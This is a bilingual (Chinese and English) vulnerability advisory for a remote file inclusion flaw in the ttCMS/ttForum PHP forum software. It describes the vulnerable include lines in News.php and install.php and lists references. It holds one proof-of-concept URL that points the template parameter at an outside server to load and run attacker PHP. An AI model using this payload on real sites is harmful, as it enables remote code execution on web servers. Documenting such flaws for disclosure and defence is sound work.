https://www.exploit-db.com/exploits/22577
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-140

ttCMS/ttForum是两款基于WEB的论坛程序。ttCMS/ttForum包含的多个脚本对用户提供的输入缺少正确过滤，远程攻击者可以利用这个漏洞以WEB权限在系统上执行任意命令。ttCMS/ttForum包含的modules/forum/News.php脚本包含如下代码：include($template.’.’.$ext);此变量用于从用户输入中直接获得包含文件，由于没有进行初始化，因此可以通过全局注入来进行变量定义，攻击者可以指定远程系统中的PHP文件作为参数提交给$template变量，可导致以WEB服务进程权限执行PHP文件中包含的恶意代码。ttForum/ttCMS包含的install.php脚本也存在此漏洞，包含如下代码：(“$installdir/Settings.php”)由于没有对$installdir变量进行正确处理，可导致以WEB进程权限执行PHP文件中包含的恶意代码。

source: http://www.securityfocus.com/bid/7542/info

A remote file include vulnerability has been reported for both ttForum and ttCMS. Due to insufficient sanitization of some user-supplied variables by the 'News.php' and 'Install.php' scripts, it is possible for a remote attacker to include a malicious PHP file in a URL.

Successful exploitation will result in the execution of the attacker-supplied PHP instructions with the privileges of the web server.

There are conflicting reports about whether or not this issue exists. The vendor has stated that exploitation of this issue is not possible.


http://www.example.com/ttforum/index.php?action=news;board=1;
template=http://www.yourserver.com/modules/forum/helpadmin;ext=help

来源:XF
名称:ttcms-ttforum-file-include(12271)
链接:http://xforce.iss.net/xforce/xfdb/12271
来源:BID
名称:7542
链接:http://www.securityfocus.com/bid/7542
来源:BUGTRAQ
名称:20030509ttcmsandttforumexploits
链接:http://www.securityfocus.com/archive/1/321000
来源:SREASON
名称:3278
链接:http://securityreason.com/securityalert/3278
来源：NSFOCUS
名称：4815
链接：http://www.nsfocus.net/vulndb/4815